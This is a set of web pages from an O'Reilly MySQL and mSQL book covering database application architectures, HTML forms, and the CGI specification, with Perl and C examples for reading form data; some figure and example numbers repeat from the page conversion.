Like many applications, MySQL has a test suite that verifies that a newly compiled system does indeed support all of the features it is supposed to support. MySQL called their test suite "crash-me" because one of the things it was designed to do is attempt to crash the database server.

Somewhere along the way, someone noticed that "crash-me" was a portable program. Not only could it work on different operating systems, but you could use it to test different database engines. Since that discovery, "crash-me" has evolved from a simple test suite to a comparison program. The tests encompass all of standard SQL as well as extensions offered by many servers. In addition, the program tests the reliability of the server under stress. A complete test run gives a thorough picture of the capabilities of that database engine.

You can use "crash-me" to compare two or more database engines online. The "crash-me" page is http://www.mysql.com/crash-me-choose.htmy.

Previous | Home | Next
7.5. Beagle | Book Index | II. Database Programming
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Database Application Architectures (MySQL & mSQL)

 MySQL and mSQLSearch this book

Chapter 8. Database Application Architectures

Contents:

The Client/Server Architecture
Data Processing
Object/Relational Modeling
The Three-tier Architecture

Before we explore the details of database application development in various languages, we should take a moment to take a broader look at the question of how you architect database applications. The focus of this chapter is conceptual; we are going to take a look at the client/server architecture behind database programming. The issues are important for programming with MySQL and mSQL, but they are not specific to these database engines. They are instead issues you can apply to programming in any database environment. Without these concepts, however, you may find that your database applications neither meet your current needs nor adapt to meet any changing needs. Our look at database programming covers such complex issues as understanding common two-tier development, object-to-relational mapping, and two-tier's more cutting-edge sibling, three-tier client/server.

8.1. The Client/Server Architecture

At its simplest, the client/server architecture is about dividing up application processing into two or more logically distinct pieces. We have spent the entire book so far discussing the database as if it exists in some sort of vacuum. It serves its purpose only when being used by other applications. The database, at its simplest, makes up one piece of the client/server architecture. The database is the `server'; any application that uses that data is a `client.' In many cases, the client and server reside on separate machines; in most cases, the client application is some sort of user-friendly interface to the database. Figure 8-1 provides a graphical representation of a simple client/server system.

Figure 8-1. The client/server architecture

You have probably seen this sort of architecture all over the Internet. In fact, we will be addressing the specific problem of client/server Internet applications throughout this book. The web, for example, is a giant client/server application in which the web browser is the client and the web server is the server. In this scenario, the server is not a relational database server, but instead a specialized file server. The essential quality of a server is that it serves data in some format to a client.

When you build a database application, you first need some way for the client to communicate with the database. Database vendors like to hide the underlying communication from developers in the form of language-specific APIs. When you write a database application, you write them with special libraries that translate your requests into TCP/IP packets that travel across the network to a database server.

The look of these database APIs varies both according to the language you are writing in and, in many cases, according to the database you are using. Because MySQL's APIs were designed to look a lot like mSQL's, however, all the APIs you will encounter in this book only have minor differences.

Previous | Home | Next
II. Database Programming | Book Index | 8.2. Data Processing
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Data Processing (MySQL & mSQL)

 MySQL and mSQLSearch this book

8.2. Data Processing

Part I, "Getting Started with MySQL and mSQL", introduced the concepts of transaction management and result sets. A database application is nothing more than a tool for managing database transactions and processing result sets. For example, if you have an address book application, your processing of result sets is the grabbing of each row from the database and displaying it for the user. Your transaction management simply amounts to making sure that an update to the address and person tables are handled as a single unit.

NOTE

As we have mentioned before, MySQL and mSQL have no support for transaction management. Any modification you make to the database is automatically committed when you send it. This limitation requires you to go to special lengths to make sure you do not end up with corrupt data from transactions that fail in the middle of two related accesses.

The other two important pieces to database application flow are connection and disconnection. It stands to reason that before you actually issue a query, you should first connect to the database. It is not uncommon, however, for people to forget the other piece of the puzzle -- cleaning up after themselves. You should always free up any database resources you grab the minute you are done with them. In a long-running application like an Internet daemon process, a badly written system can eat up database resources until it locks up the system.

Part of cleaning up after yourself involves proper error handling. Better programming languages make it harder for you to fail to handle exceptional conditions (network failure, duplicate keys on insert, SQL syntax errors, etc.); but, regardless of your language of choice, you must make sure that you know what error conditions can arise from a given API call and act appropriately for each exceptional situation. The MySQL and mSQL C libraries provide a rowset-based look at your database. By rowset based, we mean that the C libraries enable you to deal directly with database data as it exists conceptually in the database. Chapter 13, "C and C++", goes into the practical details of programming in this model using the MySQL and mSQL C APIs.

Accessing a relational database from an object-oriented environment exposes a special paradox: the relational world is entirely about the manipulation of data while the object world is about the encapsulation of data behind a set of behaviors. In an object-oriented application, the database serves as a tool for saving objects across application instances. Instead of seeing the query data as a rowset, an object-oriented application sees the data from a query as a collection of objects.

Previous | Home | Next
8. Database Application Architectures | Book Index | 8.3. Object/Relational Modeling
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Object/Relational Modeling (MySQL & mSQL)

 MySQL and mSQLSearch this book

8.3. Object/Relational Modeling

The most basic question facing the object-oriented developer using a relational database is how to map relational data into objects. Your immediate thought might be to simply map object attributes to fields in a table. Unfortunately, this approach does not create the perfect mapping for several reasons.

  • Objects do not store only simple data in their attributes. They may store collections or relationships with other objects.

  • Most relational databases -- MySQL and mSQL among them -- have no way of modeling inheritance.

Rules of Thumb for Object/Relational Modeling

  • Each persistent class has a corresponding database table.

  • Object fields with primitive datatypes (integers, characters, strings, etc.) map to columns in the associated database table.

  • Each row from a database table corresponds to an instance of its associated persistent class.

  • Each many-to-many object relationship requires a join table just as database entities with many-to-many relationships require join tables.

  • Inheritance is modeled through a one-to-one relationship between the two tables corresponding to the class and subclass.

Think about that address book we talked about earlier. We probably have something like the address and person tables shown in Figure 8-1.

NOTE

The least apparent issue facing programmers is one of mindset. The basic task of object-oriented access to relational data is to grab that data and immediately instantiate objects. An application should only manipulate data through the objects. Most traditional programming methods, including most C, PowerBuilder, and VisualBasic development, require the developer to pull the data from the database and then process that data. The key distinction is that in object-oriented database programming, you are dealing with objects, not data.

Figure 8-1. The data model for a simple address book application

Figure 8-2 shows the object model that maps to the data model from Figure 8-1. each row from the database turns into a program object. Your application therefore takes a result set and, for each row returned, instantiates a new Address or Person instance. The hardest thing to deal with here is the issue mentioned earlier: how do you capture the relationship between a person and her address in the database application? The Person object, of course, carries a reference to that person's Address object. But you cannot save the Address object within the person table of a relational database. As the data model suggests, you store object relationships through foreign keys. In this case, we carry the address_id in the person table.

Figure 8-2. The object model supporting a simple address book application

With just a tiny amount of extra complexity to the object model, we can add a world of complexity to the challenge of mapping our objects to a data model. The extra bit of complexity could be to have Person inherit from Entity with a Company class also inheriting from Entity. How do we capture an Entity separate from a Person or a Company? The rule we outlined above is actually more of a guideline. In some instances, the base class may be purely abstract and subsequently have no data associated with it in the database. In that instance, you would not have an entity in the database for that class.

Previous | Home | Next
8.2. Data Processing | Book Index | 8.4. The Three-tier Architecture
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


The Three-tier Architecture (MySQL & mSQL)

 MySQL and mSQLSearch this book

8.4. The Three-tier Architecture

We have so far discussed the most common architecture for web and simple business application processing, client/server. This architecture, however, has a hard time growing as your computing needs grow and change. It also does a poor job of taking advantage of the benefits of object-oriented programming. The first problem has been recently echoed throughout the industry in the discussion of thin clients. The desire for thin clients derives from the troublesome trend of throwing more and more processing onto the client. The poster children of this problem are PowerBuilder and VisualBasic, tools that pool data directly from a database into a GUI and then perform all operations on that data in the GUI.

Such a tight coupling of the user interface to the database engine results in applications that are difficult to modify and impossible to scale with growing user and data volume. If you have any experience with user interface design, you have experienced the fact that user interfaces are subject to changes based on user whims. The easiest way to isolate the impact of these changes would be to leave the job of the GUI to act only as a user interface. Such a user interface is a true thin client.

The impact on scalability comes from the other direction. Namely, when you need to modify an application to scale according to user demand or data volume, the modifications might come in the form of database changes including, but not limited to, distributing the database across multiple servers. By marrying your user interface to the database, you necessitate a change in that GUI in order to support scalability issues -- issues that are purely server-related.

Thin clients are not today's only computing rage. Another trend is code reuse. Common code among applications tends to reside in data processing, commonly called business rules. With all of your business rules sitting in your user interface, you will find it difficult at best to attain any kind of code reuse. The answer to these problems lies in breaking an application into three pieces instead of two. This architecture is called the three-tier architecture.

NOTE

When we speak of a user interface occurring on the client, we mean that as a logical distinction. A form of thin client, sometimes referred to as the "ultra-thin client." is what everyone commonly recognizes as a web page. A web page may be dynamically generated on a web server. In that case, the most client processing is occurring on the web server in the form of dynamic HTML page generation.

Contrast the two-tier architecture from Figure 8-1 with the three-tier architecture shown in Figure 8-1. With this design, we have added an intermediary layer between the user interface and database. This new layer, the application server, encapsulates the application processing logic -- the business logic -- that is common to the problem domain. The client becomes nothing more than a view of the middle-tier business objects and the database becomes nothing more than a storage mechanism for those objects. The most important advantage you gain is thus the separation of the user interface from the database. Suddenly, you do not have to build knowledge of the database into the GUI. Instead, all knowledge of how to deal with the database can sit in the middle tier.

Figure 8-1. Three-tier architecture

The two main functions of the application server are to isolate database connectivity and provide a centralized repository for business logic. The user interface handles only display and input issues and the database engine handles only database issues. With data processing moved to a centralized location, multiple user interfaces can use the exact same application server program -- no more writing the data processing rules each time you build an application.

Previous | Home | Next
8.3. Object/Relational Modeling | Book Index | 9. CGI Programming
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


CGI Programming (MySQL & mSQL)

 MySQL and mSQLSearch this book

Chapter 9. CGI Programming

Contents:

What Is CGI?
HTML Forms
The CGI Specification
Important Considerations for CGI Scripts
CGI and Databases

Including a section on CGI within a book about databases may seem a bit like having a chapter on automotive repair in a cookbook: sure, you need a running car to go to the grocery, but isn't it a bit out of place? While it is true that the whole of CGI and web programming in general is vastly out of the scope of this book, a short primer is all that is needed to extend the capabilities of MySQL and mSQL to the high-visibility realm of the World Wide Web.

This chapter is primarily intended for those people who want to learn about databases but would not mind trying a little web programming. If your last name is Berners-Lee or Andressen you probably will not find anything here you do not already know. Even if you are not new to the world of CGI, it could be useful to keep a short reference handy while you ponder the mysteries of MySQL and mSQL.

9.1. What Is CGI?

As with most names that have acronyms, Common Gateway Interface ( CGI) tells us very little about what it really means. What are we interfacing with? Where is this gateway? What's so common about it anyway? To answer these questions, we need to take a step back and look at the World Wide Web as a whole.

Tim Berners-Lee, a physicist at CERN, invented the web in 1990 (with planning going as far back as 1988). The idea was to give particle physicists the ability to exchange multimedia information -- text, graphics, sounds -- quickly and easily over the Internet. The World Wide Web had three major components: HTML, URLs, and HTTP. HTML is the formatting language used to display content on the web. URLs are the addresses used to retrieve the HTML (and other) content from a web server. Finally, HTTP is the language spoken by the web server, giving clients the ability to ask the server for documents.

While the ability to send content of all sorts over the Internet was revolutionary, another possibility was quickly realized. If it was possible to send any text through the web, why shouldn't it be possible to send text that does not come from a file, but rather is generated by a program? This opened up a whole realm of possibilities. As a simple example, a program that outputs the current time could be used, so that the reader sees the correct time every time he views the page. A few bright fellows at the National Center for Supercomputing Applications (NCSA) who were writing a web server saw the potential of this and CGI was soon born.

CGI is the set of rules by which programs on the server can send information via the web server to the client. The CGI specification was also accompanied by changes to HTML and HTTP to introduce a new feature known as forms.

Where CGI allows programs to send output to a client, forms extend that capability by allowing the client to send information to the CGI program. Now the user can not only view the current time, but he or she can also set the clock! Forms and CGI opened the door to true interactivity on the Internet. Popular applications of CGI include:

  • Dynamic HTML. Entire sites of pages can be generated from a single CGI program.

  • Search engines that retrieve documents that match keywords chosen by the user.

  • Guestbooks and bulletin boards for users to add their own comments to a site.

  • Order forms.

  • Surveys.

  • Information retrieval that serves up details from a database.

Over the next few chapters, we will discuss each of these CGI applications along with a couple of others. More specifically, all of these applications offer a perfect opportunity to combine CGI with a database. This topic is what interests us in this section.

Previous | Home | Next
8.4. The Three-tier Architecture | Book Index | 9.2. HTML Forms
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


HTML Forms (MySQL & mSQL)

 MySQL and mSQLSearch this book

9.2. HTML Forms

Before we examine the specifics of CGI, it is useful to review the most common method by which end users are presented with an interface to CGI programs: HTML forms. Forms are a part of the HTML markup language that enable fields of different types to be presented to the end user. Then data entered into the fields can be sent back to the web server. The fields can be lines or boxes of text or buttons which can be pushed or checked by the user. The following is an example of an HTML page that contains a form:

<HTML><HEAD><TITLE>My Forms Page</title></head>
<BODY>
<p>This is a page with a form.
<p><FORM ACTION="mycgi.cgi" METHOD=POST>
Enter your name: <INPUT NAME="firstname" SIZE=40><br>
<INPUT TYPE=SUBMIT VALUE="Submit Form">
</form>
</body></html>

This form creates a line 40 characters long into which the user can enter a first name. Underneath the input line is a button which, when clicked, will submit the form information to the server. The forms-related tags that are supported by HTML 3.2 -- currently the most widespread standard -- are listed below. Incidentally, names of tags and attributes are case-insensitive. We adhere to the convention of using uppercase for opening tags and lowercase for closing tags, but that's just one way of doing it.

<FORM>

This tag indicates the beginning of a form. At the end of the form the closing </Form> is required. Within the <FORM> tag, three attributes are possible: ACTION gives the URL or relative path name of the CGI program to which the data will be sent; METHOD gives the HTTP method by which the form will be sent (this can be GET or POST, we will almost always use POST); ENCTYPE gives the method used to encode the data (this should only be used if you really know what you are doing).

<INPUT>

This is the most flexible way to allow users to enter data. There are actually nine different styles of <INPUT> tag. The style is given by the TYPE attribute. In the example above, two <INPUT> tags are used, one with TYPE=SUBMIT and one with the default type of TEXT. The nine types are as follows:

TEXT

A single line box in which the user may enter text.

PASSWORD

The same as TEXT except that the entered text is not displayed on the screen.

CHECKBOX

A checkbox which the user can check or uncheck.

RADIO

A radio button which must be paired with at least one other radio button. The user can choose only one.

SUBMIT

A button that submits the form to the web server when clicked.

RESET

A button that resets the form to its default values when clicked.

FILE

Like text, except that it expects the name of a file which it will upload to the server.

HIDDEN

An invisible field in which you can store data.

IMAGE

Like a submit button, except that you can specify an image to display on the button.

Besides TYPE, <INPUT> tags usually have a NAME attribute which associates the data entered in that field with a name; both the name and the data are passed to the server in key=value style. In the preceding example, the name of the text input field was firstname. A VALUE attribute can be used to give TEXT, PASSWORD, FILE and HIDDEN types a preset value. When used with SUBMIT or RESET it displays the text in the clickable box. RADIO and CHECKBOX types can be prechecked by using the CHECKEDThe SIZE attribute is used to provide a line length for TEXT, PASSWORD, and FILE types. Likewise, MAXLENGTH can be used to provide a limit for the amount of text entered. The SRC attribute gives the URL of the image to use for the IMAGE type. Finally, the ALIGN attribute tells where to align the image for the IMAGE type; it can be TOP, MIDDLE, BOTTOM (the default), LEFT, or RIGHT.

<SELECT>

This tag provides a menu of choices from which the user can choose. The appearance can be either a drop-down menu from which the user can choose one item or a list from which the user can use one or more items. Each item appears in an <OPTION> tag. A closing </select> tag is required.

As with the <INPUT> tag, <SELECT> has a NAME attribute that gives a name to the entered data. A SIZE attribute is also available which determines how many options will be shown at once on the screen. If SIZE is missing, the list will be in a drop-down menu style. The MULTIPLE attribute, if present, indicates that more than one option can be chosen. The <OPTION> tag has two possible attributes. The VALUE attribute sets the value of the data to be returned. If no VALUE is present, the text after the <OPTION> tag to the end of the line will be used instead. If the SELECTED attribute is in an <OPTION> tag, that option will be preselected.

<TEXTAREA>

This last form-related tag enables users to enter blocks of text that will be sent to the web server. A <TEXTAREA> tag presents the user with a blank box in which they can enter any number of lines of text to be sent back to the web server. A </Textarea> closing tag is required and any text between the <TEXTAREA> and </Textarea> will be used as the default text for the box -- similar to the VALUE attribute for the <INPUT> tag. The three attributes for <TEXTAREA> are all required. NAME gives a name to the data, just as with the other form-related tags. ROWS and COLS specify the number of rows and columns to make the text box on the screen, although the user will be able to enter data beyond those limits.

Example 9-1 showcases all of the different form elements.

Example 9-1. An HTML Form that Shows the Different Form Elements

<HTML><HEAD><TITLE>My Second Forms Page</title><BODY>
<p>This is a survey. Please enter the following information about yourself:

<!-- Now let's begin the form. We are using the 'POST' method and sending the
information to a CGI program called 'survey.cgi' -->
<FORM METHOD=POST ACTION="survey.cgi">

<p>Name: <INPUT SIZE=40 NAME='name'><br>
<!-- This is an <INPUT> tag of the (default) 'TEXT' style. It is 40 characters
long, and the data will have the name 'name' -->

Social Security Number: <INPUT TYPE=PASSWORD NAME='ssn' SIZE=20><br>
<!-- This is an <INPUT> tag of the 'PASSWORD' style, used here so that someone looking over the user's shoulder won't see the SSN of the user. The data is saved with the name 'ssn' and the field is 20 characters long on the screen. -->

Are you or have you ever been associated with the Communist party?
    <INPUT TYPE=CHECKBOX NAME='commie' VALUE='yes'><br>
<!-- This is an <INPUT> tag of the 'CHECKBOX' style, using the name 'commie' for the data. If the form is submitted with the box checked, the value 'yes' will be associated with the name 'commie' -->

Sex: <INPUT TYPE=RADIO NAME='sex' VALUE='male'> Male
    <INPUT TYPE=RADIO NAME='sex' VALUE='female'> Female
    <INPUT TYPE=RADIO NAME='sex' VALUE='neither' CHECKED> Neither<br>
<!-- These are three <INPUT> tags of the 'RADIO' style, using the name 'sex' for the data. Only one of the three can be chosen, and since one of them is prechecked, a value will be sent regardless of whether or not the user clicks on any of them. The value sent to the server is in the 'VALUE' attribute and need not have any relation to the text that comes after the tag. -->

<INPUT TYPE=HIDDEN NAME="form_number" VALUE="33a">
<!-- This is a little extra information that we would like to send to the CGI, but which the user need not worry about, so we place it inside of an <INPUT> tag of the 'HIDDEN' type -->

Please enter the path of your favorite game: <INPUT TYPE=FILE NAME='game' SIZE=40><br>
<!-- If the user enters a valid path here, the file will be uploaded to the web server with the name 'game', when the user submits the form. Most web browsers will ask to confirm the transfer, however, so this example is not as insidious as it looks. -->

What are your favorite color(s)?<br>
<SELECT NAME="color" MULTIPLE SIZE=5>
<OPTION>Red
<OPTION>Green
<OPTION>Yellow
<OPTION>Orange
<OPTION VALUE="Blue">A nice light sky azure
</select><br>
<!-- This is a <SELECT></select> pair with several <OPTION>s. The name given to the data is 'color', and multiple selections are allowed with all 5 being displayed on the screen at once. The last option uses a 'VALUE' attribute to provide a shortened form of the text. -->

Describe the sociopolitical context of <I>War and Peace</I> in 50 words or less. Be thorough.<br>
<TEXTAREA NAME='essay' COLS=70 ROWS=10></textarea><br>
<!-- This is a <TEXTAREA></textarea> pair which provides a space for the entry of an essay. The data is given the name  'essay'. The text block is 70 characters wide and 10 rows deep. The space between the <TEXTAREA> and </textarea> tags could have been used to give an example essay. -->

<INPUT TYPE=SUBMIT VALUE="Enter Info"> <INPUT TYPE=RESET>
<!-- These are two <INPUT> tags of type 'SUBMIT' and 'RESET', respectively. The 'SUBMIT' button has the custom label 'Enter Info' while the 'RESET' button has the default value (determined by the browser). Clicking the 'SUBMIT' button will send the data to the web server. Clicking the 'RESET' button will restore the form to its original state, erasing any of the user's data.  -->

</form></body></html>

The only input type not used in this example was the IMAGE style of the <INPUT> tag. We could have used it on the page as an alternate way of submitting the form. However, the IMAGE style is rarely compatible with text-based and hearing-impaired accessible browsers so it may be wise to avoid it unless your site is unavoidably tied to a heavily graphical style.

Now that the basics of HTML forms have been covered, the next step is to enter the world of CGI itself.

Previous | Home | Next
9. CGI Programming | Book Index | 9.3. The CGI Specification
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


The CGI Specification (MySQL & mSQL)

 MySQL and mSQLSearch this book

9.3. The CGI Specification

So what are the exact "set of rules" that enable a CGI program in say, Batavia, Illinois to communicate with a web browser in Outer Mongolia? The official CGI specification along with lots of other nifty CGI information can be found on NCSA's web site at http://hoohoo.ncsa.uiuc.edu/cgi/. However, the reason this chapter exists is so that you don't have to make the long trek to your web browser and look it up yourself.

There are four methods by which CGI passes information between the CGI program and the web server -- and hence to the web client:

  • Environment variables

  • Command line

  • Standard input

  • Standard output

Using these four methods, the server sends all of the information provided by the client to the CGI program. The CGI program then does its magic and sends the output back to the server where it is forwarded to the client.

NOTE

This information is written with the Apache HTTP server in mind. Apache is the most widely used web server and is available for virtually all platforms, including Windows 9x and Windows NT. However, this information should also apply to all HTTP servers that support CGI. Some of the more proprietary servers, such as those from Microsoft and Netscape, may have additional features or slightly different operation. As the face of the web is still changing at an incredible speed, standards are still in flux and there will undoubtedly be changes. However, CGI itself seems to have somewhat stabilized -- at the expense of being overshadowed by other technologies, such as applets. Any CGI programs you write using this information will almost certainly be supported by most web servers for many years.

When a CGI program is invoked via a form, the most popular interface used, the browser passes the server a long string that begins with the path and name of the CGI program. Following that is various other data called path information, which is passed to the CGI program via the PATH_INFO environment variable (see Figure 9-1). After the path information comes a "?" symbol followed by form data that will be sent to the server using the HTTP GET method. This data will be available to the CGI program through the QUERY_STRING environment variable. Finally, any form data coming from the page itself through a POST form, the most common type, will be sent to the server using the HTTP POST method. This data will be passed to the CGI program through the standard input. A typical string passed from the browser to the server is shown in Figure 9-1. The program named formread , in directory cgi-bin , is invoked by the server with the extra path information extra/information where the query data choice=help is included -- most likely as part of the original URL. Finally the form data itself (the text "CGI programming" entered into a field labeled "keywords") is sent via an HTTP POST.

Figure 9-1. Parts of the string passed from browser to server

9.3.1. Environment Variables

When the server executes a CGI program, the first thing it does is give the program some information to work with in the form of environment variables. Seventeen variables are officially defined in the specification, while a great deal more unofficial ones that are used via the HTTP_ mechanism described later. Your CGI program can access these environment variables just as they would access the environment variables of the shell if the program was run from the command line. In a shell script, for instance, the environment variable FOO could be accessed as $FOO; in Perl it would be $ENV{'FOO'}; in C getenv("FOO"); etc. Listed in Table 9-1 are the variables that are always set -- even if it is to a null value -- by the server. In addition to these variables, information returned by the client in the header of the request is included as variables of the form HTTP_FOO, where FOO is the name of the header. For example, most web browsers include version information in a header labeled USER_AGENT. This can be accessed by your CGI program as the header HTTP_USER_AGENT. Table 9-1 lists the CCGI environment variables.

Table 9-1. The CGI Environment Variables

Environment Variable | Description
CONTENT_LENGTH | The length, in bytes, of the data provided by the POST or PUT method.
CONTENT_TYPE | The MIME type of any data attached via a POST or PUT method.
GATEWAY_INTERFACE | The version number of the CGI specification supported by the server.
PATH_INFO | Extra path information provided by the client. For example, in a request of the form http://www.myserver.com/test.cgi/this/is/a/path?field=green,'/this/is/a/path will be the value of the PATH_INFO variable.
PATH_TRANSLATED | This is the same as PATH_INFO except any translation that is possible, such as expanding "~account" names, is done by the server.
QUERY_STRING | Any information following the "?" in the URL. This is also the information provided in a form if the REQUEST_METHOD is GET.
REMOTE_ADDR | The IP address of the client making the request.
REMOTE_HOST | The hostname, if available, of the client making the request.
REMOTE_IDENT | If the web server and the client both support identd-style identification, this will be the username of the account making the request.
REQUEST_METHOD | The method which the client used to make the request. For the run-of-the-mill CGI programs of the type we are going to make, this will usually be POST or GET.
SCRIPT_NAME | The path given by the client to run the script. This can be used for self-referencing URLs, and so that scripts that are linked in different places can react differently depending on their location.
SERVER_NAME | The hostname -- or IP number, if the hostname is not available -- of the machine on which the web server is running.
SERVER_PORT | The port number the web server is using.
SERVER_PROTOCOL | Protocol by which the client is communicating with the server. For our purposes, it will almost always be HTTP.
SERVER_SOFTWARE | Version information for the web server executing the CGI program.

The following is an example CGI script in Perl which prints out all of the environment variables set by the server -- as well as any inherited variables, such as PATH, which are set by the shell that executed the server.

#!/usr/bin/perl -w

print <<HTML;
Content-type: text/html\n\n

<HTML><HEAD><TITLE></title></head><BODY>
<p>Environment Variables
<p>
HTML

foreach (keys %ENV) { print "$_: $ENV{$_}<br>\n"; }

print <<HTML;
</body></html>
HTML

Any of these variables can be used, even manipulated by your CGI program. However, none of the changes affect the web server which spawned your program.

9.3.2. Command Line

A little used feature of CGI allows arguments to be passed as command line parameters to a CGI program. The reason the feature is little used is because there are only a few practical applications, so we won't dwell on it here. Basically, if the QUERY_STRING environment variable does not contain an "=" symbol, the CGI program will be executed with the command line arguments as the QUERY_STRING. For instance, http://www.myserver.com/cgi-bin/finger?root will execute finger root on www.myserver.com.

Command line parameters are most commonly used in conjunction with the <ISINDEX> HTML tag. The <ISINDEX> tag is a miniform contained in a single tag. When a browser encounters an <ISINDEX> tag, it displays a text box in which the user can enter a query string. Upon submission -- usually after the user presses the "Enter" key -- the browser extracts a URL from the <ISINDEX> tag and calls it, passing the words of the query string as the command line.

For example, the finger CGI mentioned earlier could be written so that, if called with no arguments, it outputs an HTML page that contains an <ISINDEX> tag. The user would then enter an address into the field and the finger would be executed as described above.

9.3.3. Standard Input

As mentioned above, if a client sends information via a PUT or POST HTTP request, the length and MIME type of that information are put into the CONTENT_LENGTH and CONTENT_TYPE environment variables, respectively. The actual data is sent into the CGI program's standard input. No end-of-data marker is necessarily sent to the program, so it must examine the CONTENT_LENGTH variable and read only that number of bytes. This is the primary method of transferring form data from forms and we will use it almost exclusively in our examples.

Many libraries exist for almost all imaginable languages that perform the essential set-up tasks of a CGI program for you, including determining whether the incoming data was sent via the GET or POST method and either parsing the QUERY_STRING environment variable or reading the standard input, respectively. These libraries then place the data into easily accessible variables. A couple of the more common libraries are listed below. For the purely biased reason that we don't know every language out there, we will go into detail only for libraries that work with Perl and C. However, CGI can be very powerful in just about any language. An extensive list of CGI resources for various languages can be found on Yahoo at http://www.yahoo.com/Computers_and_Internet/Internet/World_Wide_Web/CGI___Common_Gateway_Interface/.

9.3.4. Accepting Input in Perl

Most of the rest of this section contains examples in Perl and C. This does not mean that Perl and C are any better, or worse, than any others but simply that it has been found very useful by many people in the area of CGI. In particular, because of the popularity of Perl in this area, we still do the vast majority of our CGI work in it. We would, however, also strongly recommend you take a look at Python if you have not yet made a language decision for CGI programs.

Two major libraries provide CGI interfaces for Perl. The first is cgi-lib.pl. [12] The cgi-lib.pl utility is very common because for a while it was the only major library available. It is designed to work under Perl 4, but still works under Perl 5. The other library, CGI.pm,[13] is more recent and in many ways supersedes cgi-lib.pl. CGI.pm is written for Perl 5 and uses an entirely object-oriented scheme for dealing with CGI data. The CGI.pm module parses the standard input and QUERY_STRING variable and stores data in a CGI object. Your program needs only to create a new CGI object and use simple methods like param() to retrieve the data in which you are interested. Example 9-1 is a short example that shows how CGI.pm interprets data. All of the Perl examples in this section will use CGI.pm.

[12]http://www.bio.cam.ac.uk/cgi-lib/

[13]http://www-genome.wi.mit.edu/ftp/pub/software/WWW/cgi_docs.html

Example 9-1. Parsing CGI Data in Perl

#!/usr/bin/perl -w

use CGI qw(:standard);  # Use the CGI.pm module. The qw(:standard) imports the
                        # namespace of the standard CGI functions to allow for
                        # clearer code. This can only be done if only one CGI
                        # object will be used throughout the script.

$mycgi = new CGI; # Create a CGI object, which will be our 'gateway' to the form
                  # data.

@fields = $mycgi->param; # This retrieves the names of the all of the form fields
                         # entered.

print header, start_html('CGI.pm test'); # The 'header' and 'start_html' methods
                              'header'
                              # prints out the required HTTP header, and
                              #'start_html' prints out the HTML header with the
                              #title given, along with the <BODY> tag.
print "<p>Form information:<br>";

foreach (@fields) { print $_, ":", $mycgi->param($_), "<br>"; }
# For each of the fields, print out the field name along with the value (which
# is obtained through $mycgi->param('fieldname').

print end_html; # A shortcut provided to print the "</body></html>" ending tags.

9.3.5. Accepting Input in C

Since the primary MySQL and mSQL APIs are written in C, we will not completely abandon it for Perl, but instead provide a few C examples where appropriate. There are three widely used C libraries for CGI programming: cgic by Tom Boutell;[14] cgihtml by Eugene Kim;[15] and libcgi from EIT.[16] We have found cgic to be the most complete and easiest to use. However, it lacks the ability to list all of the form variables if you do not know them beforehand. This ability can actually be added by means of a trivial patch, but that is beyond the scope of this chapter. Thus, to mimic the example Perl script used earlier we use the cgihtml library in Example 9-1.

[14]http://www.boutell.com/cgic/

[15]http://hcs.harvard.edu/~eekim/web/cgihtml/

[16]http://wsk.eit.com/wsk/dist/doc/libcgi/libcgi.html

Example 9-1. Parsing CGI Data in C

/* cgihtmltest.c - A generic CGI program to print out the keys and values
    of the submitted form data.
*/

#include <stdio.h>
#include "cgi-lib.h"  /* This contains all of the definitions for the CGI
                      functions */
#include "html-lib.h" /* This contains all of the definitions for the HTML
                      helper functions */

void print_all(llist l)
/* This functions prints out all of the data submitted by the form in the
same format as the above Perl example. Cgihtml also provides a built-in
function, print_entries(), which does the exact same thing using a set
HTML definition list format.
*/
{
  node* window;
/* The 'node' type is defined by the cgihtml library and refers to the
linked list which stores all of the form data. */

  window = l.head;
/* This sets a pointer at the beginning of the form data */

  while (window != NULL) {
/* Go through the linked list until you reach the last (the first empty) entry */

    printf("  %s:%s<br>\n",window->entry.name,
        replace_ltgt(window->entry.value));
/* Print out the data. Replace_ltgt() is a provided function which HTML encodes
the text so that it will show up correctly on the client browser. */

    window = window->next;
/* Go to the next entry in the list. */

  }
}

int main()
{
  llist entries; /* This is a pointer to the parsed data */
  int status; /* This is a status integer provided by the library */

  html_header();
/* This is an HTML-helper function which prints the HTML header */

  html_begin("cgihtml test");
/* This is an HTML-helper function which prints the beginning of the HTML
page with the specified title. */

  status = read_cgi_input(&entries);
/* This reads in and parses the form data */
  printf("<p>Form information:<br>");
  print_all(entries);
/* Call the print_all() function defined above. */
  html_end();
/* This is an HTML-helper function which prints the end of the HTML page. */
  list_clear(&entries);
/* This frees the memory used by the form data. */
  return 0;
}

9.3.6. Standard Output

Data sent by the CGI program to the standard output will be read by the web server and sent to the client. If the name of the script begins with nph-, the data is sent straight to the client without any interference from the web server. In this case, it is up to the CGI program to provide a valid HTTP header that will be understood by the client. Otherwise, let the web server create the HTTP header for you.

Even if you do not use an nph- script, you must still give the server one directive which tells it something about your output. Most commonly, this will be a Content-Type HTTP header, but it could also be a Location header. The headers should be followed by a blank line -- that is, a bare linefeed or CR/LF combination.

The Content-Type header tells the server what type of data is being output by your CGI program. If the output is an HTML page, the line should be Content-Type: text/html. The Location header tells the server the name of another URL -- or another path on the same server -- to which to direct the client. It is of the form Location: http://www.myserver.com/another/place/.

After the HTTP headers and the blank line, you can send the body of your program's output, whether it be an HTML page, an image, plain text, or whatever. Among the CGI programs included with the Apache web server, the nph-test-cgi and test-cgi effectively show the difference between the nph and non-nph style headers, respectively.

In this section, we will be using libraries such as CGI.pm and cgic that provide functions for printing out the HTTP as well as the HTML headers. This will allow you to concentrate on generating the content itself. These helper functions are demonstrated in the examples earlier in this chapter.

Previous | Home | Next
9.2. HTML Forms | Book Index | 9.4. Important Considerations for CGI Scripts
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Important Considerations for CGI Scripts (MySQL & mSQL)

 MySQL and mSQLSearch this book

9.4. Important Considerations for CGI Scripts

